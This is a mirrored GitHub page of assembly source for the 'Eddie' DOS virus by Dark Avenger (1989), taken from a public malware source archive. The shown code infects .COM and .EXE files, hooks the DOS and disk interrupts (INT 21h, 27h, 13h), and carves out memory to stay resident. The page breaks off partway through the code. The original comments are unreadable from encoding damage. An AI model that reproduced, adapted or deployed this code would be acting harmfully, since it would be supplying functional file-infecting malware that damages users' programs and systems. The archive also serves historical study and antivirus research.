mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 02:16:09 +00:00
977 lines
19 KiB
NASM
977 lines
19 KiB
NASM
|
;************************
|
|||
|
;* *
|
|||
|
;* E D D I E *
|
|||
|
;* *
|
|||
|
;* by Dark Avenger *
|
|||
|
;* *
|
|||
|
;* 3-JAN-1989 *
|
|||
|
;* *
|
|||
|
;* version 1.31x *
|
|||
|
;* *
|
|||
|
;************************
|
|||
|
|
|||
|
|
|||
|
; "Blessed is he who expects nothing, for he shall not be disappointed."
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> <20> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> <20>
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>). <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> (<28>.<2E>. <09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>). <09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .COM <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3 <20><><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> 0e9h, 68h, 0 <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>. <20><>
|
|||
|
; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> JMP <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD>
|
|||
|
; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
; <20><> <20><><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><>, <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
; C <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>).
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!
|
|||
|
|
|||
|
code segment
|
|||
|
assume cs:code,ds:code
|
|||
|
copyright:
|
|||
|
db 'Eddie lives...somewhere in time!',0
|
|||
|
date_stamp:
|
|||
|
dd 12239000h
|
|||
|
checksum:
|
|||
|
db 30
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> .EXE <20><><EFBFBD><EFBFBD>:
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> DS=ES=PSP, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SS:SP <20> CS:IP.
|
|||
|
|
|||
|
exit_exe:
|
|||
|
mov bx,es
|
|||
|
add bx,10h
|
|||
|
add bx,word ptr cs:[si+call_adr+2]
|
|||
|
mov word ptr cs:[si+patch+2],bx
|
|||
|
mov bx,word ptr cs:[si+call_adr]
|
|||
|
mov word ptr cs:[si+patch],bx
|
|||
|
mov bx,es
|
|||
|
add bx,10h
|
|||
|
add bx,word ptr cs:[si+stack_pointer+2]
|
|||
|
mov ss,bx
|
|||
|
mov sp,word ptr cs:[si+stack_pointer]
|
|||
|
db 0eah ;JMP XXXX:YYYY
|
|||
|
patch:
|
|||
|
dd 0
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> .COM <20><><EFBFBD><EFBFBD>:
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D><> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SP <20> IP.
|
|||
|
|
|||
|
exit_com:
|
|||
|
mov di,100h
|
|||
|
add si,offset my_save
|
|||
|
movsb
|
|||
|
movsw
|
|||
|
mov sp,ds:[6] ;<3B><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
xor bx,bx
|
|||
|
push bx
|
|||
|
jmp [si-11] ;si+call_adr-top_file
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
startup:
|
|||
|
call relative
|
|||
|
relative:
|
|||
|
pop si ;SI = $
|
|||
|
sub si,offset relative
|
|||
|
cld
|
|||
|
cmp word ptr cs:[si+my_save],5a4dh
|
|||
|
je exe_ok
|
|||
|
cli
|
|||
|
mov sp,si ;<3B><> .COM <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
add sp,offset top_file+100h ;<3B><><EFBFBD><EFBFBD>, <20><> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sti ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
cmp sp,ds:[6]
|
|||
|
jnc exit_com
|
|||
|
exe_ok:
|
|||
|
push ax
|
|||
|
push es
|
|||
|
push si
|
|||
|
push ds
|
|||
|
mov di,si
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 13h <20> ROM-BIOS
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
push ax
|
|||
|
mov ds,ax
|
|||
|
les ax,ds:[13h*4]
|
|||
|
mov word ptr cs:[si+fdisk],ax
|
|||
|
mov word ptr cs:[si+fdisk+2],es
|
|||
|
mov word ptr cs:[si+disk],ax
|
|||
|
mov word ptr cs:[si+disk+2],es
|
|||
|
mov ax,ds:[40h*4+2] ;<3B> INT 40h <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 13h
|
|||
|
cmp ax,0f000h ;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
jne nofdisk
|
|||
|
mov word ptr cs:[si+disk+2],ax
|
|||
|
mov ax,ds:[40h*4]
|
|||
|
mov word ptr cs:[si+disk],ax
|
|||
|
mov dl,80h
|
|||
|
mov ax,ds:[41h*4+2] ;INT 41h <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,
|
|||
|
cmp ax,0f000h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 13h <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
je isfdisk
|
|||
|
cmp ah,0c8h
|
|||
|
jc nofdisk
|
|||
|
cmp ah,0f4h
|
|||
|
jnc nofdisk
|
|||
|
test al,7fh
|
|||
|
jnz nofdisk
|
|||
|
mov ds,ax
|
|||
|
cmp ds:[0],0aa55h
|
|||
|
jne nofdisk
|
|||
|
mov dl,ds:[2]
|
|||
|
isfdisk:
|
|||
|
mov ds,ax
|
|||
|
xor dh,dh
|
|||
|
mov cl,9
|
|||
|
shl dx,cl
|
|||
|
mov cx,dx
|
|||
|
xor si,si
|
|||
|
findvect:
|
|||
|
lodsw ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>:
|
|||
|
cmp ax,0fa80h ; CMP DL,80h
|
|||
|
jne altchk ; JNC <09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
lodsw
|
|||
|
cmp ax,7380h
|
|||
|
je intchk
|
|||
|
jne nxt0
|
|||
|
altchk:
|
|||
|
cmp ax,0c2f6h ;<3B><><EFBFBD> <20>:
|
|||
|
jne nxt ; TEST DL,80h
|
|||
|
lodsw ; JNZ <09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
cmp ax,7580h
|
|||
|
jne nxt0
|
|||
|
intchk:
|
|||
|
inc si ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>:
|
|||
|
lodsw ; INT 40h
|
|||
|
cmp ax,40cdh
|
|||
|
je found
|
|||
|
sub si,3
|
|||
|
nxt0:
|
|||
|
dec si
|
|||
|
dec si
|
|||
|
nxt:
|
|||
|
dec si
|
|||
|
loop findvect
|
|||
|
jmp short nofdisk
|
|||
|
found:
|
|||
|
sub si,7
|
|||
|
mov word ptr cs:[di+fdisk],si
|
|||
|
mov word ptr cs:[di+fdisk+2],ds
|
|||
|
nofdisk:
|
|||
|
mov si,di
|
|||
|
pop ds
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
les ax,ds:[21h*4]
|
|||
|
mov word ptr cs:[si+save_int_21],ax
|
|||
|
mov word ptr cs:[si+save_int_21+2],es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
cmp ax,offset int_21
|
|||
|
jne bad_func
|
|||
|
xor di,di
|
|||
|
mov cx,offset my_size
|
|||
|
scan_func:
|
|||
|
lodsb
|
|||
|
scasb
|
|||
|
jne bad_func
|
|||
|
loop scan_func
|
|||
|
pop es
|
|||
|
jmp go_program
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; (<28><><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
|
|||
|
bad_func:
|
|||
|
pop es
|
|||
|
mov ah,49h
|
|||
|
int 21h
|
|||
|
mov bx,0ffffh
|
|||
|
mov ah,48h
|
|||
|
int 21h
|
|||
|
sub bx,(top_bz+my_bz+1ch-1)/16+2
|
|||
|
jc go_program
|
|||
|
mov cx,es
|
|||
|
stc
|
|||
|
adc cx,bx
|
|||
|
mov ah,4ah
|
|||
|
int 21h
|
|||
|
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
|
|||
|
stc
|
|||
|
sbb es:[2],bx
|
|||
|
push es
|
|||
|
mov es,cx
|
|||
|
mov ah,4ah
|
|||
|
int 21h
|
|||
|
mov ax,es
|
|||
|
dec ax
|
|||
|
mov ds,ax
|
|||
|
mov word ptr ds:[1],8
|
|||
|
call mul_16
|
|||
|
mov bx,ax
|
|||
|
mov cx,dx
|
|||
|
pop ds
|
|||
|
mov ax,ds
|
|||
|
call mul_16
|
|||
|
add ax,ds:[6]
|
|||
|
adc dx,0
|
|||
|
sub ax,bx
|
|||
|
sbb dx,cx
|
|||
|
jc mem_ok
|
|||
|
sub ds:[6],ax ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mem_ok:
|
|||
|
pop si
|
|||
|
push si
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
xor di,di
|
|||
|
mov ds,di
|
|||
|
lds ax,ds:[27h*4]
|
|||
|
mov word ptr cs:[si+save_int_27],ax
|
|||
|
mov word ptr cs:[si+save_int_27+2],ds
|
|||
|
pop ds
|
|||
|
mov cx,offset aux_size
|
|||
|
rep movsb
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ds:[21h*4],offset int_21;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 21h <20> INT 27h
|
|||
|
mov ds:[21h*4+2],es
|
|||
|
mov ds:[27h*4],offset int_27
|
|||
|
mov ds:[27h*4+2],es
|
|||
|
mov word ptr es:[filehndl],ax
|
|||
|
pop es
|
|||
|
go_program:
|
|||
|
pop si
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,ds:[13h*4]
|
|||
|
mov word ptr cs:[si+save_int_13],ax
|
|||
|
mov ax,ds:[13h*4+2]
|
|||
|
mov word ptr cs:[si+save_int_13+2],ax
|
|||
|
mov ds:[13h*4],offset int_13
|
|||
|
add ds:[13h*4],si
|
|||
|
mov ds:[13h*4+2],cs
|
|||
|
pop ds
|
|||
|
push ds
|
|||
|
push si
|
|||
|
mov bx,si
|
|||
|
lds ax,ds:[2ah]
|
|||
|
xor si,si
|
|||
|
mov dx,si
|
|||
|
scan_envir: ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
lodsw ;(<28><><EFBFBD> DOS 2.x <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
dec si
|
|||
|
test ax,ax
|
|||
|
jnz scan_envir
|
|||
|
add si,3
|
|||
|
lodsb
|
|||
|
|
|||
|
